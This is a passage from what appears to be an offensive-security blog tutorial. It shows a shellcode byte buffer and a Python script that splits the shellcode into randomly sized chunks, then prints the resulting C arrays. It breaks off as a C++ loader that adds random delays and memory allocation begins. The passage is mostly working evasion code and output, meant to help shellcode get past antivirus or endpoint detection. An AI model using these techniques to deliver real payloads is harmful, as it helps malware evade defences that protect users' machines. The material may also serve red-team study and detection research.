<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xb5\xa2\x56\xff\xd5</span><span class="sh">"</span>

<span class="k">def</span> <span class="nf">split_shellcode</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):</span>
    <span class="n">chunks</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
    
    <span class="c1"># Continue splitting until we reach the end
</span>    <span class="k">while</span> <span class="n">index</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):</span>
        <span class="c1"># If remaining bytes are less than minimum chunk size, take what's left
</span>        <span class="n">remaining_bytes</span> <span class="o">=</span> <span class="nf">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span> <span class="o">-</span> <span class="n">index</span>
        <span class="k">if</span> <span class="n">remaining_bytes</span> <span class="o">&lt;=</span> <span class="mi">15</span><span class="p">:</span>
            <span class="n">chunk_size</span> <span class="o">=</span> <span class="n">remaining_bytes</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="c1"># Random chunk size between 3 and 15 bytes
</span>            <span class="n">chunk_size</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">randint</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">15</span><span class="p">)</span>
        
        <span class="c1"># Extract chunk and add to list
</span>        <span class="n">chunks</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">shellcode</span><span class="p">[</span><span class="n">index</span><span class="p">:</span><span class="n">index</span> <span class="o">+</span> <span class="n">chunk_size</span><span class="p">])</span>
        <span class="n">index</span> <span class="o">+=</span> <span class="n">chunk_size</span>
    
    <span class="c1"># Generate shellcode variables
</span>    <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">chunk</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">chunks</span><span class="p">,</span> <span class="mi">1</span><span class="p">):</span>
        <span class="c1"># Convert chunk to hex string representation
</span>        <span class="n">hex_string</span> <span class="o">=</span> <span class="sh">'</span><span class="s">,</span><span class="sh">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">0x</span><span class="si">{</span><span class="n">byte</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="sh">'</span> <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">chunk</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">unsigned char shellcode</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">[] = };</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="c1"># Generate shellcodeChunks array
</span>    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">// Array of shellcode pointers</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">shellcode_array</span> <span class="o">=</span> <span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">shellcode</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="sh">"</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunks</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">unsigned char* shellcodeChunks[] = };</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="c1"># Generate shellcodeSizes array
</span>    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">// Array of shellcode sizes</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">sizes_array</span> <span class="o">=</span> <span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">sizeof(shellcode</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunks</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">SIZE_T shellcodeSizes[] = };</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># Split the shellcode and generate variables
</span><span class="nf">split_shellcode</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>I’m randomizing the shellcode chunks between 3 and 15 bytes.  You should get something like this:</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">C:</span><span class="err">\</span><span class="n">Users</span><span class="err">\</span><span class="n">robbi</span><span class="err">\</span><span class="n">shellcode_code</span><span class="o">&gt;</span><span class="n">py</span> <span class="n">sshellcode_splitter</span><span class="p">.</span><span class="n">py</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x81</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode2</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xcc</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode3</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode4</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode5</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode6</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode7</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0xed</span><span class="p">,</span><span class="mh">0x52</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode8</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode9</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0x78</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode10</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x80</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode11</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode12</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xe3</span><span class="p">,</span><span class="mh">0x56</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode13</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode14</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x88</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode15</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode16</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x38</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode17</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x08</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode18</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode19</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode20</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode21</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x48</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode22</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode23</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode24</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x4b</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode25</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x5d</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x72</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode26</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode27</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x59</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode28</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x77</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode29</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode30</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x73</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode31</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6d</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x79</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode32</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6d</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x83</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode33</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0xa2</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">};</span>

<span class="c1">// Array of shellcode pointers</span>
<span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcodeChunks</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="n">shellcode1</span><span class="p">,</span> <span class="n">shellcode2</span><span class="p">,</span> <span class="n">shellcode3</span><span class="p">,</span> <span class="n">shellcode4</span><span class="p">,</span> <span class="n">shellcode5</span><span class="p">,</span> <span class="n">shellcode6</span><span class="p">,</span> <span class="n">shellcode7</span><span class="p">,</span> <span class="n">shellcode8</span><span class="p">,</span> <span class="n">shellcode9</span><span class="p">,</span> <span class="n">shellcode10</span><span class="p">,</span> <span class="n">shellcode11</span><span class="p">,</span> <span class="n">shellcode12</span><span class="p">,</span> <span class="n">shellcode13</span><span class="p">,</span> <span class="n">shellcode14</span><span class="p">,</span> <span class="n">shellcode15</span><span class="p">,</span> <span class="n">shellcode16</span><span class="p">,</span> <span class="n">shellcode17</span><span class="p">,</span> <span class="n">shellcode18</span><span class="p">,</span> <span class="n">shellcode19</span><span class="p">,</span> <span class="n">shellcode20</span><span class="p">,</span> <span class="n">shellcode21</span><span class="p">,</span> <span class="n">shellcode22</span><span class="p">,</span> <span class="n">shellcode23</span><span class="p">,</span> <span class="n">shellcode24</span><span class="p">,</span> <span class="n">shellcode25</span><span class="p">,</span> <span class="n">shellcode26</span><span class="p">,</span> <span class="n">shellcode27</span><span class="p">,</span> <span class="n">shellcode28</span><span class="p">,</span> <span class="n">shellcode29</span><span class="p">,</span> <span class="n">shellcode30</span><span class="p">,</span> <span class="n">shellcode31</span><span class="p">,</span> <span class="n">shellcode32</span><span class="p">,</span> <span class="n">shellcode33</span><span class="p">};</span>

<span class="c1">// Array of shellcode sizes</span>
<span class="n">SIZE_T</span> <span class="n">shellcodeSizes</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode1</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode2</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode3</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode4</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode5</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode6</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode7</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode8</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode9</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode10</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode11</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode12</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode13</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode14</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode15</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode16</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode17</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode18</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode19</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode20</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode21</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode22</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode23</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode24</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode25</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode26</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode27</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode28</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode29</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode30</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode31</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode32</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode33</span><span class="p">)};</span>
</code></pre></div></div>

<p>Go ahead and copy that outputted code into Notepad or something.  This takes care of Part 1 of our code.  You could accomplish the randomized shellcode chunks using C/C++ if you like, but I like to pull in Python when I can as I find it simplifies matters considerably. 😺 On to Part 2!</p>

<h2 id="introducing-randomness-delay-and-memory-allocation-for-shellcode-chunks">Introducing Randomness, Delay, and Memory Allocation for Shellcode Chunks</h2>

<p>Okay!  Let’s go ahead and setup our main C++ code sections.  For section one, all we need to do is add in our previously python-generated code, like so:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;chrono&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;thread&gt;</span><span class="cp">
</span>
